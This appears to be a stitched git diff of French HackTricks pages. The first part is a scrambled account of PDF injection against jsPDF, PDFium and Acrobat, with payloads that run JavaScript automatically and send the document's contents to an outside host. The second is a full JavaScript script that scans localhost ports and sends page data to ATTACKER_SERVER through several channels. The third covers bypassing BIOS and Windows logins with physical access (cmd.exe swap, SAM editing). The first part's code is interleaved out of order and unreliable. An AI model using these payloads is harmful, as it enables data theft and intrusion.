J'ai beaucoup parlé d'Acrobat, mais qu'en est-il de PDFium (le lecteur PDF de Chrome) ? Chrome est difficile à attaquer car sa prise en charge de JavaScript est plus limitée que celle d'Acrobat. La première chose que j'ai remarquée est que JavaScript n'était pas du tout exécuté dans les annotations, donc mes preuves de concept ne fonctionnaient pas. Pour faire fonctionner les vecteurs dans Chrome, j'ai besoin d'exécuter au moins du JavaScript à l'intérieur des annotations. Tout d'abord, j'ai décidé d'essayer d'écraser une URL dans une annotation. C'était assez facile. Je pouvais utiliser l'injection de base que j'avais trouvée auparavant et simplement injecter une autre action avec une entrée URI qui écraserait l'URL existante : `var doc = new jsPDF();`\
|
D'abord je sors de la parenthèse, puis je sors du dictionnaire en utilisant >> avant de commencer un nouveau dictionnaire d'annotation. Le /S/JavaScript rend l'annotation basée sur JavaScript et le /JS est où le JavaScript est stocké. À l'intérieur des parenthèses se trouve notre JavaScript réel. Notez que vous n'avez pas besoin d'échapper les parenthèses si elles sont équilibrées. Enfin, j'ajoute le type d'annotation, termine le dictionnaire et répare la parenthèse fermante. C'était tellement cool ; je pouvais créer une injection qui exécutait du JavaScript mais alors quoi, n'est-ce pas ? Vous pouvez exécuter du JavaScript mais vous n'avez pas accès au DOM, donc vous ne pouvez pas lire les cookies. Puis James est apparu et a suggéré de voler le contenu du PDF à partir de l'injection. J'ai commencé à chercher des moyens d'obtenir le contenu d'un PDF. Dans Acrobat, j'ai découvert que vous pouvez utiliser du JavaScript pour soumettre des formulaires sans aucune interaction utilisateur ! En regardant les spécifications de l'API JavaScript, il était assez simple de modifier l'injection de base et d'ajouter du JavaScript qui enverrait l'intégralité du contenu du code PDF à un serveur externe dans une requête POST :`/blah)>>/A<</S/JavaScript/JS(app.alert(1);`\
|
||||||
``doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/blah)>>/A<</S/URI/URI(https://portswigger.net)``\
|
`this.submitForm({`\
|
||||||
``/Type/Action>>/F 0>>(`});``\
|
`cURL: 'https://your-id.burpcollaborator.net',cSubmitAs: 'PDF'}))`\
|
||||||
`doc.text(20, 20, 'Test text');`
|
`/Type/Action>>/>>(`
|
||||||
|
|
||||||
Cela naviguerait vers portswigger.net lorsqu'on clique dessus. Ensuite, j'ai essayé différentes injections pour appeler JavaScript, mais cela a échoué à chaque fois. Je pensais que c'était impossible à faire. J'ai pris du recul et j'ai essayé de construire manuellement un PDF entier qui appellerait JavaScript à partir d'un clic dans Chrome sans injection. Lorsque j'utilisais un bouton AcroForm, Chrome permettait l'exécution de JavaScript, mais le problème était qu'il nécessitait des références à des parties du PDF. J'ai réussi à créer une injection qui exécuterait JavaScript à partir d'un clic sur JSPDF : `var doc = new jsPDF();`\
|
L'alerte n'est pas nécessaire ; je l'ai juste ajoutée pour prouver que l'injection exécutait du JavaScript.
|
||||||
``doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/) >> >> <</BS<</S/B/W 0>>/Type/Annot/MK<</BG[ 0.825 0.8275 0.8275]/CA(Submit)>>/Rect [ 72 697.8898 144 676.2897]/Subtype/Widget/AP<</N <</Type/XObject/BBox[ 0 0 72 21.6]/Subtype/Form>>>>/Parent <</Kids[ 3 0 R]/Ff 65536/FT/Btn/T(test)>>/H/P/A<</S/JavaScript/JS(app.alert(1))/Type/Action/F 4/DA(blah`});``\
|
|
||||||
`doc.text(20, 20, 'Click me test');`
|
|
||||||
|
|
||||||
Comme vous pouvez le voir, le vecteur ci-dessus nécessite une connaissance de la structure PDF. \[ 3 0 R] fait référence à un objet PDF spécifique et si nous faisions une attaque d'injection PDF aveugle, nous ne connaîtrions pas sa structure. Néanmoins, la prochaine étape consiste à essayer une soumission de formulaire. Nous pouvons utiliser la fonction submitForm pour cela, et comme l'annotation nécessite un clic, Chrome le permettra : `/) >> >> <</BS<</S/B/W 0>>/Type/
|
Ensuite, juste pour le plaisir, j'ai regardé comment voler le contenu du PDF sans utiliser de JavaScript. À partir de la spécification PDF, j'ai découvert que vous pouvez utiliser une action appelée SubmitForm. Je l'ai utilisée dans le passé lorsque j'ai construit un PDF pour un contrôle de scan dans Burp Suite. Cela fait exactement ce que le nom implique. Il a également une entrée Flags dans le dictionnaire pour contrôler ce qui est soumis. La clé du dictionnaire Flags accepte une seule valeur entière, mais chaque paramètre individuel est contrôlé par un bit binaire. Une bonne façon de travailler avec ces paramètres est d'utiliser les nouveaux littéraux binaires dans ES6. Le littéral binaire doit être long de 14 bits car il y a 14 drapeaux au total. Dans l'exemple suivant, tous les paramètres sont désactivés :`0b00000000000000`
|
||||||
|
|
||||||
|
Pour définir un drapeau, vous devez d'abord rechercher sa position de bit (tableau 237 de la [spécification PDF](https://www.adobe.com/content/dam/acom/en/devnet/pdf/pdfs/PDF32000\_2008.pdf)). Dans ce cas, nous voulons définir le drapeau SubmitPDF. Comme cela est contrôlé par le 9ème bit, il suffit de compter 9 bits à partir de la droite :`0b00000100000000`
|
||||||
|
|
||||||
|
Si vous évaluez cela avec JavaScript, cela donne la valeur décimale 256. En d'autres termes, définir l'entrée Flags à 256 activera le drapeau SubmitPDF, ce qui provoquera l'envoi du contenu du PDF lors de la soumission du formulaire. Tout ce que nous avons à faire est d'utiliser l'injection de base que nous avons créée plus tôt et de la modifier pour appeler l'action SubmitForm au lieu de JavaScript :`/blah)>>/A<</S/SubmitForm/Flags 256/F(`\
|
||||||
|
`https://your-id.burpcollaborator.net)`\
|
||||||
|
`/Type/Action>>/>>(`
|
||||||
|
|
||||||
|
## sPDF
|
||||||
|
|
||||||
|
Ensuite, j'ai appliqué ma méthodologie à une autre bibliothèque PDF - [jsPDF](https://parall.ax/products/jspdf) - et j'ai découvert qu'elle était également vulnérable. Exploiter cette bibliothèque était assez amusant car ils ont une API qui peut s'exécuter dans le navigateur et vous permet de générer le PDF en temps réel au fur et à mesure que vous tapez. J'ai remarqué que, comme la bibliothèque PDP-Lib, ils avaient oublié d'échapper les parenthèses à l'intérieur des URL d'annotation. Ici, la propriété url était vulnérable :`doc.createAnnotation({bounds:`\
|
||||||
|
`{x:0,y:10,w:200,h:200},`\
|
||||||
|
``type:'link',url:`/input`});``\
|
||||||
|
`//vulnérable`
|
||||||
|
|
||||||
|
J'ai donc généré un PDF en utilisant leur API et injecté du code PDF dans la propriété url :
|
||||||
|
|
||||||
|
`var doc = new jsPDF();`\
|
||||||
|
`doc.text(20, 20, 'Hello world!');`\
|
||||||
|
`doc.addPage('a6','l');`\
|
||||||
|
`doc.createAnnotation({bounds:`\
|
||||||
|
`` {x:0,y:10,w:200,h:200},type:'link',url:` ``\
|
||||||
|
`/blah)>>/A<</S/JavaScript/JS(app.alert(1);)/Type/Action/F 0/(`\
|
||||||
|
`` `}); ``
|
||||||
|
|
||||||
|
J'ai réduit le vecteur en supprimant les entrées de type du dictionnaire et l'entrée F inutile. J'ai ensuite laissé une parenthèse suspendue qui serait fermée par celle existante. Réduire la taille de l'injection est important car l'application web dans laquelle vous injectez pourrait ne permettre qu'une quantité limitée de caractères.`/blah)>>/A<</S/JavaScript/JS(app.alert(1)`
|
||||||
|
|
||||||
|
J'ai ensuite découvert qu'il était possible de réduire encore plus le vecteur ! Acrobat permettrait une entrée URI et une entrée JavaScript dans une seule action d'annotation et exécuterait heureusement le JavaScript :`/)/S/JavaScript/JS(app.alert(1)`
|
||||||
|
|
||||||
|
Des recherches supplémentaires ont révélé que vous pouvez également injecter plusieurs annotations. Cela signifie qu'au lieu de simplement injecter une action, vous pourriez sortir de l'annotation et définir vos propres coordonnées rect pour choisir quelle section du document serait cliquable. En utilisant cette technique, j'ai pu rendre l'ensemble du document cliquable. `/) >> >>`\
|
||||||
|
`<</Type /Annot /Subtype /Link /Rect [0.00 813.54 566.93 -298.27] /Border [0 0`\
|
||||||
|
`0] /A <</S/SubmitForm/Flags 0/F(https://your-id.burpcollaborator.net`
|
||||||
|
|
||||||
|
## Exécuter des annotations sans interaction
|
||||||
|
|
||||||
|
Jusqu'à présent, les vecteurs que j'ai démontrés nécessitent un clic pour activer l'action de l'annotation. Typiquement, James a posé la question "Pouvons-nous exécuter automatiquement ?". J'ai parcouru la spécification PDF et j'ai remarqué des fonctionnalités intéressantes des annotations :
|
||||||
|
|
||||||
|
"Les entrées **PV** et **PI** permettent une distinction entre les pages qui sont ouvertes et les pages qui sont visibles. À tout moment, une seule page est considérée comme ouverte dans l'application de visualisation, tandis que plusieurs pages peuvent être visibles, en fonction de la disposition des pages."
|
||||||
|
|
||||||
|
Nous pouvons ajouter l'entrée PV au dictionnaire et l'annotation se déclenchera automatiquement sur Acrobat ! Non seulement cela, mais nous pouvons également exécuter un payload automatiquement lorsque le document PDF est fermé en utilisant l'entrée PC. Un attaquant pourrait vous suivre lorsque vous ouvrez le PDF et le fermez.
|
||||||
|
|
||||||
|
Voici comment exécuter automatiquement à partir d'une annotation :`var doc = new jsPDF();`\
|
||||||
|
``doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/)``\
|
||||||
|
`>> >>`\
|
||||||
|
``<</Subtype /Screen /Rect [0 0 900 900] /AA <</PV <</S/JavaScript/JS(app.alert(1))>>/(`});``\
|
||||||
|
`doc.text(20, 20, 'Exécution automatique');`
|
||||||
|
|
||||||
|
Lorsque vous fermez le PDF, cette annotation se déclenchera :`var doc = new jsPDF();`\
|
||||||
|
``doc.createAnnotation({bounds:{x:0,y:10,w:200,h[...]
|
||||||
|
|
|
@ -1,16 +1,14 @@
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
Autres moyens de soutenir HackTricks :
|
||||||
|
|
||||||
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||||
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
- **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
```javascript
|
```javascript
|
||||||
|
@ -30,72 +28,72 @@ var ALL_INFO = "" // Only used by Location exfiltration
|
||||||
|
|
||||||
// Function to make the data possible to transmit via either GET or POST
|
// Function to make the data possible to transmit via either GET or POST
|
||||||
function encode(text){
|
function encode(text){
|
||||||
return encodeURI(btoa(text));
|
return encodeURI(btoa(text));
|
||||||
}
|
}
|
||||||
|
|
||||||
// Functions to exfiltrate the information
|
// Functions to exfiltrate the information
|
||||||
function exfil_info(info_name, text, is_final=false){
|
function exfil_info(info_name, text, is_final=false){
|
||||||
if (EXFIL_BY_IMG) exfil_by_img(info_name, text);
|
if (EXFIL_BY_IMG) exfil_by_img(info_name, text);
|
||||||
if (EXFIL_BY_RQ_GET) exfil_by_rq_get(info_name, text);
|
if (EXFIL_BY_RQ_GET) exfil_by_rq_get(info_name, text);
|
||||||
if (EXFIL_BY_RQ_POST) exfil_by_rq_post(info_name, text);
|
if (EXFIL_BY_RQ_POST) exfil_by_rq_post(info_name, text);
|
||||||
if (EXFIL_BY_FETCH_GET) exfil_by_fetch_get(info_name, text);
|
if (EXFIL_BY_FETCH_GET) exfil_by_fetch_get(info_name, text);
|
||||||
if (EXFIL_BY_FETCH_POST) exfil_by_fetch_post(info_name, text);
|
if (EXFIL_BY_FETCH_POST) exfil_by_fetch_post(info_name, text);
|
||||||
if (EXFIL_BY_NAV) exfil_by_nav(info_name, text);
|
if (EXFIL_BY_NAV) exfil_by_nav(info_name, text);
|
||||||
if (EXFIL_BY_LOC){
|
if (EXFIL_BY_LOC){
|
||||||
if (is_final) exfil_by_loc(info_name, text);
|
if (is_final) exfil_by_loc(info_name, text);
|
||||||
else ALL_INFO += "\n\n" + info_name + "=" + text;
|
else ALL_INFO += "\n\n" + info_name + "=" + text;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
function exfil_by_img(info_name, text){
|
function exfil_by_img(info_name, text){
|
||||||
new Image().src = ATTACKER_SERVER + "/exfil_by_img/" + info_name + "?" + info_name + "=" + text
|
new Image().src = ATTACKER_SERVER + "/exfil_by_img/" + info_name + "?" + info_name + "=" + text
|
||||||
}
|
}
|
||||||
|
|
||||||
function exfil_by_rq_get(info_name, text){
|
function exfil_by_rq_get(info_name, text){
|
||||||
var xhttp = new XMLHttpRequest();
|
var xhttp = new XMLHttpRequest();
|
||||||
xhttp.open("GET", ATTACKER_SERVER + "/exfil_by_rq_get/" + info_name + "?" + info_name + "=" + text, true);
|
xhttp.open("GET", ATTACKER_SERVER + "/exfil_by_rq_get/" + info_name + "?" + info_name + "=" + text, true);
|
||||||
xhttp.send();
|
xhttp.send();
|
||||||
}
|
}
|
||||||
|
|
||||||
function exfil_by_rq_post(info_name, text){
|
function exfil_by_rq_post(info_name, text){
|
||||||
var xhttp = new XMLHttpRequest();
|
var xhttp = new XMLHttpRequest();
|
||||||
xhttp.open("POST", ATTACKER_SERVER + "/exfil_by_rq_post/" + info_name, true);
|
xhttp.open("POST", ATTACKER_SERVER + "/exfil_by_rq_post/" + info_name, true);
|
||||||
xhttp.send(text);
|
xhttp.send(text);
|
||||||
}
|
}
|
||||||
|
|
||||||
function exfil_by_fetch_get(info_name, text){
|
function exfil_by_fetch_get(info_name, text){
|
||||||
fetch(ATTACKER_SERVER + "/exfil_by_fetch_get/" + info_name + "?" + info_name + "=" + text, {method: 'GET', mode: 'no-cors'});
|
fetch(ATTACKER_SERVER + "/exfil_by_fetch_get/" + info_name + "?" + info_name + "=" + text, {method: 'GET', mode: 'no-cors'});
|
||||||
}
|
}
|
||||||
|
|
||||||
function exfil_by_fetch_post(info_name, text){
|
function exfil_by_fetch_post(info_name, text){
|
||||||
fetch(ATTACKER_SERVER + "/exfil_by_fetch_post/" + info_name, {method: 'POST', mode: 'no-cors', body: text});
|
fetch(ATTACKER_SERVER + "/exfil_by_fetch_post/" + info_name, {method: 'POST', mode: 'no-cors', body: text});
|
||||||
}
|
}
|
||||||
|
|
||||||
function exfil_by_nav(info_name, text){
|
function exfil_by_nav(info_name, text){
|
||||||
navigator.sendBeacon(ATTACKER_SERVER + "/exfil_by_nav/" + info_name, text)
|
navigator.sendBeacon(ATTACKER_SERVER + "/exfil_by_nav/" + info_name, text)
|
||||||
}
|
}
|
||||||
|
|
||||||
function exfil_by_loc(info_name, text){
|
function exfil_by_loc(info_name, text){
|
||||||
document.location = ATTACKER_SERVER + "/exfil_by_loc/?a=" + encode(ALL_INFO);
|
document.location = ATTACKER_SERVER + "/exfil_by_loc/?a=" + encode(ALL_INFO);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
// Functions to get the data to exfiltrate
|
// Functions to get the data to exfiltrate
|
||||||
function exfil_page_content(url){
|
function exfil_page_content(url){
|
||||||
var xhr = new XMLHttpRequest();
|
var xhr = new XMLHttpRequest();
|
||||||
xhr.onreadystatechange = function() {
|
xhr.onreadystatechange = function() {
|
||||||
if (xhr.readyState == XMLHttpRequest.DONE) {
|
if (xhr.readyState == XMLHttpRequest.DONE) {
|
||||||
exfil_info(url, encode(xhr.responseText));
|
exfil_info(url, encode(xhr.responseText));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
xhr.open('GET', url, true);
|
xhr.open('GET', url, true);
|
||||||
xhr.send(null);
|
xhr.send(null);
|
||||||
}
|
}
|
||||||
|
|
||||||
function exfil_internal_port(port){
|
function exfil_internal_port(port){
|
||||||
fetch("http://127.0.0.1:" + port + "/", { mode: "no-cors" }).then(() => {
|
fetch("http://127.0.0.1:" + port + "/", { mode: "no-cors" }).then(() => {
|
||||||
exfil_info("internal_port", encode(port));
|
exfil_info("internal_port", encode(port));
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@ -112,26 +110,24 @@ top_1000 = [1,3,4,6,7,9,13,17,19,20,21,22,23,24,25,26,30,32,33,37,42,43,49,53,70
|
||||||
top_1000.forEach(port => exfil_internal_port(port));
|
top_1000.forEach(port => exfil_internal_port(port));
|
||||||
|
|
||||||
if (EXFIL_BY_LOC){
|
if (EXFIL_BY_LOC){
|
||||||
setTimeout(exfil_info("finish", "finish", true), 5000) // exfiltrate by location after 5s
|
setTimeout(exfil_info("finish", "finish", true), 5000) // exfiltrate by location after 5s
|
||||||
}
|
}
|
||||||
|
|
||||||
// Sniff info
|
// Sniff info
|
||||||
window.onmessage = function(e){
|
window.onmessage = function(e){
|
||||||
exfil_info("onmessage", encode(e.data))
|
exfil_info("onmessage", encode(e.data))
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
Autres moyens de soutenir HackTricks :
|
||||||
|
|
||||||
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||||
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
- **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,17 +2,15 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous accéder à la **dernière version du PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
Autres moyens de soutenir HackTricks :
|
||||||
|
|
||||||
- Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||||
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
- **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
@ -20,7 +18,7 @@
|
||||||
|
|
||||||
### La batterie
|
### La batterie
|
||||||
|
|
||||||
La plupart des **cartes mères** ont une **batterie**. Si vous la **retirez** pendant **30 minutes**, les paramètres du BIOS seront **réinitialisés** (mot de passe inclus).
|
La plupart des **cartes mères** ont une **batterie**. Si vous la **retirez** pendant **30min**, les paramètres du BIOS seront **réinitialisés** (mot de passe inclus).
|
||||||
|
|
||||||
### Cavalier CMOS
|
### Cavalier CMOS
|
||||||
|
|
||||||
|
@ -30,7 +28,7 @@ La plupart des **cartes mères** ont un **cavalier** qui peut réinitialiser les
|
||||||
|
|
||||||
Si vous pouviez **exécuter** par exemple un Linux **Kali** depuis un CD/USB Live, vous pourriez utiliser des outils comme _**killCmos**_ ou _**CmosPWD**_ (ce dernier est inclus dans Kali) pour essayer de **récupérer le mot de passe du BIOS**.
|
Si vous pouviez **exécuter** par exemple un Linux **Kali** depuis un CD/USB Live, vous pourriez utiliser des outils comme _**killCmos**_ ou _**CmosPWD**_ (ce dernier est inclus dans Kali) pour essayer de **récupérer le mot de passe du BIOS**.
|
||||||
|
|
||||||
### Récupération de mot de passe BIOS en ligne
|
### Récupération en ligne du mot de passe BIOS
|
||||||
|
|
||||||
Entrez le mot de passe du BIOS **3 fois incorrectement**, puis le BIOS affichera un **message d'erreur** et sera bloqué.\
|
Entrez le mot de passe du BIOS **3 fois incorrectement**, puis le BIOS affichera un **message d'erreur** et sera bloqué.\
|
||||||
Visitez la page [https://bios-pw.org](https://bios-pw.org) et **introduisez le code d'erreur** affiché par le BIOS et vous pourriez avoir de la chance et obtenir un **mot de passe valide** (la **même recherche pourrait vous montrer différents mots de passe et plus d'un pourrait être valide**).
|
Visitez la page [https://bios-pw.org](https://bios-pw.org) et **introduisez le code d'erreur** affiché par le BIOS et vous pourriez avoir de la chance et obtenir un **mot de passe valide** (la **même recherche pourrait vous montrer différents mots de passe et plus d'un pourrait être valide**).
|
||||||
|
@ -72,9 +70,9 @@ Inception est un outil de **manipulation de la mémoire physique** et de hacking
|
||||||
|
|
||||||
Ces binaires se trouvent dans _**C:\Windows\System32**_. Vous pouvez **changer** l'un d'eux pour une **copie** du binaire **cmd.exe** (également dans le même dossier) et chaque fois que vous invoquez l'un de ces binaires, une invite de commande en tant que **SYSTEM** apparaîtra.
|
Ces binaires se trouvent dans _**C:\Windows\System32**_. Vous pouvez **changer** l'un d'eux pour une **copie** du binaire **cmd.exe** (également dans le même dossier) et chaque fois que vous invoquez l'un de ces binaires, une invite de commande en tant que **SYSTEM** apparaîtra.
|
||||||
|
|
||||||
### Modification de SAM
|
### Modification du SAM
|
||||||
|
|
||||||
Vous pouvez utiliser l'outil _**chntpw**_ pour **modifier le fichier** _**SAM**_ d'un système de fichiers Windows monté. Ensuite, vous pourriez changer le mot de passe de l'utilisateur Administrateur, par exemple.\
|
Vous pouvez utiliser l'outil _**chntpw**_ pour **modifier le** _**fichier SAM**_ d'un système de fichiers Windows monté. Ensuite, vous pourriez changer le mot de passe de l'utilisateur Administrateur, par exemple.\
|
||||||
Cet outil est disponible dans KALI.
|
Cet outil est disponible dans KALI.
|
||||||
```
|
```
|
||||||
chntpw -h
|
chntpw -h
|
||||||
|
@ -87,8 +85,8 @@ chntpw -l <path_to_SAM>
|
||||||
**Kon-Boot** est l'un des meilleurs outils permettant de se connecter à Windows sans connaître le mot de passe. Il fonctionne en **s'insérant dans le BIOS du système et en modifiant temporairement le contenu du noyau de Windows** pendant le démarrage (les nouvelles versions fonctionnent également avec **UEFI**). Il vous permet ensuite de saisir **n'importe quoi comme mot de passe** lors de la connexion. La prochaine fois que vous démarrez l'ordinateur sans Kon-Boot, le mot de passe original sera de retour, les modifications temporaires seront supprimées et le système se comportera comme si rien ne s'était passé.\
|
**Kon-Boot** est l'un des meilleurs outils permettant de se connecter à Windows sans connaître le mot de passe. Il fonctionne en **s'insérant dans le BIOS du système et en modifiant temporairement le contenu du noyau de Windows** pendant le démarrage (les nouvelles versions fonctionnent également avec **UEFI**). Il vous permet ensuite de saisir **n'importe quoi comme mot de passe** lors de la connexion. La prochaine fois que vous démarrez l'ordinateur sans Kon-Boot, le mot de passe original sera de retour, les modifications temporaires seront supprimées et le système se comportera comme si rien ne s'était passé.\
|
||||||
En savoir plus : [https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/](https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/)
|
En savoir plus : [https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/](https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/)
|
||||||
|
|
||||||
C'est un CD/USB live qui peut **patcher la mémoire** de sorte que vous **n'avez pas besoin de connaître le mot de passe pour vous connecter**.\
|
C'est un CD/USB live qui peut **patcher la mémoire** afin que vous **n'ayez pas besoin de connaître le mot de passe pour vous connecter**.\
|
||||||
